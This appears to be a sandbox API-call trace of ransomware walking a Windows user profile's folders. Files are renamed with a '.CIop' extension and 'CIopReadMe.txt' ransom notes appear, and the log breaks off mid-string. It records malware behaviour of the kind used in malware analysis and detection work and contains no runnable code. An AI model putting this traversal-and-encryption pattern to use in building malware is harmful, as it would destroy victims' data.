[0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.740] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0148.740] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0148.740] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0148.740] SetErrorMode (uMode=0x1) returned 0x1 [0148.740] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0148.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0148.740] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0148.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0148.740] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.740] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0148.740] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0148.740] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0148.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0148.740] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.740] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0148.740] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0148.741] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0148.741] SetErrorMode (uMode=0x1) returned 0x1 [0148.741] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0148.741] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0148.741] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.741] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.741] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.741] lstrlenW (lpString=".CIop") returned 5 [0148.741] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.741] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.741] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.741] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0148.741] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.741] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.741] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.741] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.741] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.741] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.741] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.741] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.741] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.741] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0148.741] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0148.741] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0148.741] SetErrorMode (uMode=0x1) returned 0x1 [0148.741] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0148.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0148.742] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0148.742] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0148.742] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.742] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0148.742] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0148.742] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.742] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.742] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.742] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.742] lstrlenW (lpString="desktop.ini") returned 11 [0148.742] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.742] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.742] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.742] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0148.742] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0148.742] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.742] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0148.742] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0148.742] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.742] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.742] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.742] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.742] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.742] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.743] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.743] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0148.743] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0148.743] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.743] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.743] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.743] SetErrorMode (uMode=0x1) returned 0x1 [0148.743] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.743] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0148.743] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0148.743] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0148.743] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.743] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0148.743] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.743] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.743] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.743] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.743] lstrlenW (lpString="desktop.ini") returned 11 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2="..") returned 1 [0148.743] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2=".") returned 1 [0148.743] lstrlenW (lpString=".CIop") returned 5 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2="..") returned 1 [0148.743] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2=".") returned 1 [0148.743] lstrlenW (lpString=".CIop") returned 5 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.743] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2="..") returned 1 [0148.743] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2=".") returned 1 [0148.743] lstrlenW (lpString=".CIop") returned 5 [0148.743] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.743] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.744] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.744] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.744] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0148.744] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.744] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0148.744] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0148.744] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.744] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.744] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.744] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0148.744] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0148.744] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.744] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0148.744] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0148.744] SetErrorMode (uMode=0x1) returned 0x1 [0148.744] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0148.744] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0148.744] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0148.744] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0148.744] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0148.744] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0148.744] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0148.744] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.744] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.744] lstrcmpW (lpString1="4LAv.png.CIop", lpString2="..") returned 1 [0148.744] lstrcmpW (lpString1="4LAv.png.CIop", lpString2=".") returned 1 [0148.744] lstrlenW (lpString=".CIop") returned 5 [0148.744] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.744] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2="..") returned 1 [0148.744] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2=".") returned 1 [0148.744] lstrlenW (lpString=".CIop") returned 5 [0148.744] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.745] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.745] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.745] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.745] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.745] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2="..") returned 1 [0148.745] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2=".") returned 1 [0148.745] lstrlenW (lpString=".CIop") returned 5 [0148.745] lstrlenW (lpString=".CIop") returned 5 [0148.746] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0148.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0148.746] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0148.746] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0148.746] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0148.746] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0148.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0148.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0148.746] SetErrorMode (uMode=0x1) returned 0x1 [0148.746] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0148.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B 